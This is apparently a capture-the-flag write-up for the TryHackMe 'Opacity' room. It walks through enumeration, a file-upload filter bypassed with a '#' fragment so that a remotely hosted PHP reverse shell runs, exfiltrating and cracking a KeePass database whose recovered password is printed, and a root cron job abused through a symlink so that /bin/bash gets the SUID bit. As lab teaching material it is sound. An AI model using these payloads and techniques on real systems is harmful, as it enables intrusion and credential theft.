Opacity

Opacity is a Boot2Root made for pentesters and cybersecurity enthusiasts.

Opacity

Introduction

Hello everyone, today we will be taking a look at Opacity, an Easy rated room on TryHackMe. We will explore the exploitation of the File Upload vulnerability , before moving on to the privilege escalation phase. Let’s get started !

  1. Enumeration
  2. Exploitation
  3. Privesc


Enum

Portscan

Let’s start with a basic portscan. As always I to go with rustscan, cause it’s pretty fast, specifying service version and output normal options for the subsequent nmap scan:

1
rustscan -a $TARGET -- -sV -oN all_ports.txt
1
2
3
4
5
PORT    STATE SERVICE     REASON  VERSION
22/tcp  open  ssh         syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        syn-ack Apache httpd 2.4.41 ((Ubuntu))
139/tcp open  netbios-ssn syn-ack Samba smbd 4
445/tcp open  netbios-ssn syn-ack Samba smbd 4

What do we learn from this portscan ?

  • The target is likely running linux
  • SSH, HTTP, and SMB are running

SMB (139, 445)

I always start by enumerating file sharing protocols because they often contain juicy. I like to use enum4linux when enumerating samba, to make sure I don’t miss anything.

1
enum4linux $TARGET
1
2
3
4
5
6
7
8
	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (opacity server (Samba, Ubuntu))

[+] Attempting to map shares on 10.10.151.131
//10.10.151.131/print$	Mapping: DENIED Listing: N/A Writing: N/A
//10.10.151.131/IPC$	Mapping: N/A Listing: N/A Writing: N/A

These are two default shares, and we don’t have access to them. Let’s move on.

HTTP (80)

index Website index page

Interesting ! Maybe we could try bruteforcing the login form, or identifying an SQL injection later. Since we’re still in the enumeration phase, let’s not rush things.

Directory fuzzing

Time for some directory fuzzing I guess. I’ll use ffuf, and go with the directory-list2.3-medium from SecLists to make sure we don’t miss any hidden directories:

1
2
ffuf -u "http://10.10.151.131/FUZZ" \
     -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

index {: .radius-shadow }

/cloud/

Let’s access it from our browser:

index

I’m pretty sure that there’s a file upload vulnerability in here. Let’s try to exploit it !

Exploit

Testing file upload

Alright, so basically, here’s how the application works:

  • We provide a link to an image.
  • It downloads the image and displays it.

The first think I want to check is giving a link to an image that doesn’t exist. For example let’s try to enter .png:

xsserve

Seems like there’s no check to verify if the image actually exists. Let’s try uploading .php then.

index

And … The webapp refuses to upload it. So there is probably some kind of filter checking the extension but I don’t know exactly how. Let’s try uploading some real files to see how the webserver responds.

So first thing first I launch an http server with python to serve files

1
2
3
mkdir ~/Pictures/Chroot
cd ~/Pictures/Chroot
python3 -m http.server 80

In the same directory (~/Pictures/Chroot), I create a file named phpinfo.php

1
2
3
<?php 
echo phpinfo();
?>

Then, I copy it, creating multiple versions with multiple extensions:

1
2
cp phpinfo.php phpinfo.php.png # Double extension that ends with an image extension
cp phpinfo.php phpinfo.png.php # Double extension that ends with the PHP extension

I tried uploading the .png.php (by giving this url to the webapp: http://ATTACKER_IP/phpinfo.png.php), but it didn’t work.

Next I tried the .php.png (by giving this url to the webapp: http://ATTACKER_IP/phpinfo.php.png), It uploaded it but when trying to access it:

index

Bypassing the filter

Recently, I was watching a youtube video from John Hammond where he was exploiting an LFI. To bypass a filter, he used a strange filter evasion technique with the #.

The # in a URL is used to denote an anchor or fragment identifier. This tells the browser to navigate to a specific part of the page, typically an element with a corresponding id.

I thought: could be a good idea to try.

1
http://ATTACKER_IP/phpinfo.php#.png

xsserve

PHP code execution!!! Let’s leverage this into a full RCE. And a shoutout to John Hammond.

RCE

First things first I set up a pwncat listener on port 9999. Then I grabbed the pentest monkey’s PHP reverse shell. I modified the IP and the PORT to match mine, placed it in the directory where my HTTP server is running (~/Pictures/Chroot/), and renamed it rev.php. Finally I asked the webapp to load this “image” :

1
http://ATTACKER_IP/rev.php#myfile.png

xsserve

As you can see the webapp downloads the rev.php file from my HTTP server and tries to display it. Since it’s a PHP file, it gets interpreted by the web server, and I get my reverse shell !

Privesc

Manual privesc

I was just poking aroung, looking at common directories, and I found this:

1
2
3
(remote) www-data@opacity:/$ cd /opt
(remote) www-data@opacity:/opt$ ls
dataset.kdbx

This looks like a KeyPass password database ! Let’s download it on our machine.

xsserve Exfiltrating the KDBX file

Unfortunately this type of file is protected by a password (called “master key”). Fortunately, we can crack it using keepass2john and john

xsserve Cracking it with john

All that’s left is to open the KeePass file, input the master key, and steal the protected passwords.

xsserve xsserve Inputing the master key and stealing the password

1
sysadmin : Cl0udP4ss40p4city#8700

Sysadmin

1
2
(remote) www-data@opacity:/$ ls /home
sysadmin

Sysadmin is a user on this host.

1
2
3
(remote) www-data@opacity:/opt$ su sysadmin
Password: Cl0udP4ss40p4city#8700
sysadmin@opacity:/opt$

I tried automatic enumeration with LinPEAS but it didn’t find anything. So, I checked in the sysadmin’s home directory and found a backup script:

1
2
3
4
5
6
7
8
sysadmin@opacity:~/scripts$ ls -R .

.:
lib  script.php

./lib:
application.php  bio2rdfapi.php      dataresource.php  fileapi.php  phplib.php  registry.php  xmlapi.php
backup.inc.php   biopax2bio2rdf.php  dataset.php       owlapi.php   rdfapi.php  utils.php

All these files are owned by root. Let’s take a look at the script.php code (here’s a simplified version):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

//Backup of scripts sysadmin folder
require_once('lib/backup.inc.php');
zipData('/home/sysadmin/scripts', '/var/backups/backup.zip');

//Files scheduled removal
$dir = "/var/www/html/cloud/images";
foreach ( files_of($dir) as $file ) {
    if($file->isDir()) 
        rmdir($file);
    else:
        unlink($file);
}
?>

Alright, so this script basically does two things

  • zip /home/sysadmin/scripts in /var/backups/backup.zip
  • delete all images in /var/www/html/cloud/images

Remember earlier ? The website’s name was 5 minutes upload. That means that root probably executes (via a cronjob or something) the script.php every 5 minutes.

To escalate privileges we could simply modify the lib/backup.inc.php file, inject some malicious code, wait 5 minutes and ggs.

1
2
3
4
sysadmin@opacity:~/scripts$ echo > lib/backup.inc.php
bash: scripts/lib/backup.inc.php: Permission denied
sysadmin@opacity:~/scripts$ echo > lib/whatever.php
sysadmin@opacity:~/scripts$ 

But here is the problem. We can’t write to lib/backup.inc.php (cause it’s owned by root). However we can create files in lib/. So I thought: if we could somehow delete lib/backup.inc.php, we could then create a new one with malicious code, wait 5 minutes, and gain root privileges.

But the question is how do we delete it ?

Gaining root

Theory

While reading the PHP doc for unlink I found this interesting detail:

If the file is a symlink, the symlink will be deleted.

If /var/www/html/cloud/images/ was a symlink to ~/scripts/lib/, then when root tries to delete all files from /var/www/html/cloud/images, unlink would follow the symlink, so root would in fact delete all files in ~/scripts/lib/.

At that point I’d be able to create a malicious ~/scripts/lib/backup.inc.php. After 5 minutes, root would execute ~/scripts/script.php, including our malicious library, and gg.

Practice

Here’s the process I followed step-by-step to set up the symlink and get root to delete their own files. First I need to be www-data (cause it have own on /var/www/html/cloud/).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# Step 1: Make sure `sysadmin` can create the symlink here
www-data@opacity:~/opt$ chmod 777 /var/www/html/cloud/

# Step 2: Remove the existing images/ directory.
www-data@opacity:~/opt$ rm -rf /var/www/html/cloud/images

# Step 3: Switch to the sysadmin user to create the symlink.
www-data@opacity:~/opt$ su sysadmin
Password: Cl0udP4ss40p4city#8700

# Step 4: Navigate to the sysadmin's home directory.
sysadmin@opacity:~/opt$ cd /home/sysadmin

# Step 5: Create the symlink we discussed earlier.
sysadmin@opacity:~/home/sysadmin$ ln -sf /home/sysadmin/scripts/lib /var/www/html/cloud/images

# Step 6: Verify the contents of the lib directory.
sysadmin@opacity:~/home/sysadmin$ ls scripts/lib 
application.php  bio2rdfapi.php      dataresource.php  fileapi.php  phplib.php  registry.php  whatever.php
backup.inc.php   biopax2bio2rdf.php  dataset.php       owlapi.php   rdfapi.php  utils.php     xmlapi.php

# Step 7: Wait for 5 minutes for the cron job to execute.

# Step 8: Verify that root has deleted their own files.
sysadmin@opacity:~/home/sysadmin$ ls scripts/lib

# files are gone!

xsserve Nice !

And now, all that’s left is to create a malicious ~/scripts/lib/backup.inc.php.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Step 1: Trick root into setting the SUID bit on /bin/bash. 
sysadmin@opacity:~/home/sysadmin$ echo '<?php shell_exec("chmod +s /bin/bash"); ?>'

# Step 2: Verify the current permissions of /bin/bash.
sysadmin@opacity:~/home/sysadmin$ ls -l /bin/bash
-rwxr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash

# Step 3: Wait for 5 minutes for the cron job to execute.

# Step 4: Check the permissions of /bin/bash again.
sysadmin@opacity:~/home/sysadmin$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1183448 Apr 18  2022 /bin/bash

# The SUID bit has been set by root!

xsserve

Root

To gain root access we need to execute /bin/bash with the -p option

If the -p option is supplied at invocation, the effective user id is not reset.

This means we retain our UID, GID, and all related attributes, but the EUID (Effective User ID) and EGID (Effective Group ID) are NOT reset to ours. Since it’s an SUID binary, they are set to the UID/GID of the owner (root).

With this, we can execute commands as root:

xsserve

This post is licensed under CC BY 4.0 by the author.